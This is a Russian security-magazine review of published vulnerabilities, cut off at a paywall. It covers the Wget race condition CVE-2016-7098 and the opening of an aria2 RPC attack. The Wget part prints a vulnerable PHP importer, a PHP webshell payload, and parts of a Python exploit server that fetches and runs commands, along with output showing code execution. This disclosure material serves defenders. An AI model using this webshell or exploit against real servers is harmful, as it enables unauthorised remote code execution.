Сегодня мы разберем уязвимости в популярных утилитах для скачивания файлов — Wget и aria2. При соблюдении некоторых условий атакующий может выполнить произвольный код. Также разберем ошибку в LSASS.EXE, которая позволяет как минимум перевести систему в режим перезагрузки, а как максимум — получить повышение привилегий.

 

Access List Bypass / Race Condition в Wget

 

CVSSv2

Нет

 

BRIEF

Дата релиза: 24 ноября 2016 года
Автор: Дэвид Голунски (Dawid Golunski)
CVE: CVE-2016-7098

Я думаю, нет смысла рассказывать, что такое Wget, — все, кто пользовался командной строкой UNIX или Linux, неоднократно запускали эту утилиту. Обнаружение уязвимостей в столь популярных программах никогда не остается без внимания.

Wget версии 1.17 или младше в режиме зеркалирования (mirroring) или рекурсивной загрузки подвержена уязвимости типа race condition, что позволяет удаленному атакующему обойти ограничения, указанные через параметр -A. Таким образом атакующий может поместить вредоносный файл в систему. В зависимости от приложения и директории загрузки такая ошибка может привести к плачевным последствиям — к примеру, выполнению кода.

Когда Wget используется в режиме рекурсивной загрузки или зеркалирования, то согласно документации может получить следующий список параметров доступа. Вот параметры запрета и разрешения рекурсивной загрузки:

-A acclist --accept acclist
-R rejlist --reject rejlist

Далее указывается разделенный запятыми список суффиксов или паттернов имен файлов, которые следует или не следует загружать. Любые специальные символы *, ?, [ или ], обнаруженные в одном из элементов acclist или rejlist, будут интерпретироваться скорее как паттерн, чем как суффикс.

Например, это можно использовать для загрузки только JPG:

# wget -r -nH -A '*.jpg' http://attackersvr/test.php
Resolving attackersvr... 192.168.57.1
Connecting to attackersvr|192.168.57.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: ‘test.php’
15:05:46 (27.3 B/s) - ‘test.php’ saved [52]

В конце будет удален test.php, потому что согласно правилу его не следует загружать.

Несмотря на то что Wget удаляет файл в конце загрузки, это создает race condition. Атакующий, контролируя удаленный сервер, может преднамеренно замедлить загрузку так, чтобы у него появился шанс использовать вредоносный файл перед тем, как тот будет удален.

 

EXPLOIT

Ниже показано уязвимое веб-приложение, которое использует Wget для загрузки изображений с предоставленного пользователем адреса.

<?php
    // Уязвимое приложение [image_importer.php]
    // Использование Wget для импортирования пользовательских изображений с предоставленного удаленного URL
    // Работает только с JPG-файлами (опция -A wget)

    if ( isset($_GET['imgurl']) ) {
            $URL = escapeshellarg($_GET['imgurl']);
    } else {
            die("imgurl parameter missing");
    }

    if ( !file_exists("image_uploads") ) {
            mkdir("image_uploads");
    }

    // Загружает JPG пользователя в директорию /image_uploads
    system("wget -r -nH -P image_uploads -A '*.jpg' $URL 2>&1");
?>

Пример вредоносного URL:

https://victimsvr/image_importer.php?imgurl= href="http://images/logo.jpg">http://images/logo.jpg

Файл logo.jpg будет загружен и размещен по адресу https://victimsvr/images_uploads/logo.jpg. Белый список Wget гарантирует, что будут загружены только файлы с расширением jpg.

Тем не менее уязвимость race condition в Wget позволяет атакующему загрузить произвольный скрипт (к примеру, на PHP) в директорию /image_uploads и успешно выполнить код. Ниже представлены только части, полный код эксплоита ты можешь скачать с сайта его автора.

Полезная нагрузка:

PAYLOAD='''
<?php
    // Our webshell
    system($_GET["cmd"]);
    system("touch /tmp/wgethack");
?>
'''
...
CMD="/usr/bin/id"

Поднять свой HTTP-сервер:

class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_GET(self):
        # Отправить полезную нагрузку на GET-запрос
        print "[+] Got connection from wget requesting " + self.path + " via GET :)\n"
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()
        self.wfile.write(PAYLOAD)
        print "\n[+] PHP webshell payload was sent.\n"

        # Подождать, пока файл будет размещен на диске удаленного хоста
        print "[+} Sleep for 2s to make sure the file has been flushed to the disk on the target...\n"
        time.sleep(2)

        # Отправить запрос к загруженному webshell
        print "[+} File '" + self.path + "' should be saved by now :)\n"
        print "[+} Executing " + CMD + " via webshell URL: " + WEBSHELL_URL + "?cmd=" + CMD + "\n"
        print "[+} Command result: "
        print urllib2.urlopen(WEBSHELL_URL+"?cmd="+CMD).read()

        print "[+} All done. Closing HTTP connection...\n"
        # Соединение будет закрыто по возвращении хендлера request
        return

handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)
handler.serve_forever()

Атакующий запускает этот эксплоит на своем сервере (attackersvr) и указывает его адрес в уязвимом скрипте image_importer.php:

https://victimsvr/image_importer.php?imgurl= href="http://attackersvr/webshell.php">http://attackersvr/webshell.php

В результате получается следующий вывод:

root@attackersvr:~# ./wget-race-exploit.py
Wget < 1.18 Access List Bypass / Race Condition PoC Exploit
CVE-2016-7098
Dawid Golunski
https://legalhackers.com
[+} Exploit Web server started on HTTP port 80. Waiting for wget to connect...
[+] Got connection from wget requesting /webshell.php via GET :)
victimsvr - - [24/Nov/2016 00:46:18] "GET /webshell.php HTTP/1.1" 200 -
[+] PHP webshell payload was sent.
[+} Sleep for 2s to make sure the file has been flushed to the disk on the target...
[+} File '/webshell.php' should be saved by now :)
[+} Executing /usr/bin/id via webshell URL: http://victimsvr/image_uploads/webshell.php?cmd=/usr/bin/id
[+} Command result:
uid=33(www-data) gid=33(www-data) groups=33(www-data),1002(nagcmd)
[+} All done. Closing HTTP connection...

Оригинальный отчет доступен на сайте автора эксплоита.

 

TARGETS

GNU Wget версии младше 1.18.

 

SOLUTION

Производитель выпустил исправление.

 

Взлом aria2 RPC-демона

 

CVSSv2

Нет

 

BRIEF

Дата релиза: 21 ноября 2016 года
Автор: Риктер Чжэн (Ricter Zheng)
CVE: нет

Aria2 — это популярный консольный загрузчик файлов, который поддерживает большое количество протоколов (HTTP, HTTPS, FTP, BitTorrent, Metalink). Aria2 RPC Server может принимать запросы из многих источников в обход различных мер безопасности. К примеру, параметры --rpc-secret, --rpc-user, --rpc-passwd могут быть взломаны с помощью социальной инженерии. А через aria2 RPC Server атакующий сможет провести SSRF, запись в произвольный файл и другие атаки для получения привилегий на сервере.

Aria2 имеет встроенный интерфейс XML-RPC и позволяет запустить RPC-сервер. Для этого существует опция --enable-rpc.

 

EXPLOIT

Запись в произвольный файл

Продолжение статьи доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все статьи на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи одну статью

Заинтересовала статья, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для статей, опубликованных более двух месяцев назад.


Комментарии

Подпишитесь на ][, чтобы участвовать в обсуждении

Обсуждение этой статьи доступно только нашим подписчикам. Вы можете войти в свой аккаунт или зарегистрироваться и оплатить подписку, чтобы свободно участвовать в обсуждении.

Check Also

Уязвимость позволяла внедрять вредоносный код в подписанные APK

Декабрьский «вторник обновлений» устранил более 45 багов в Android, среди которых была уяз…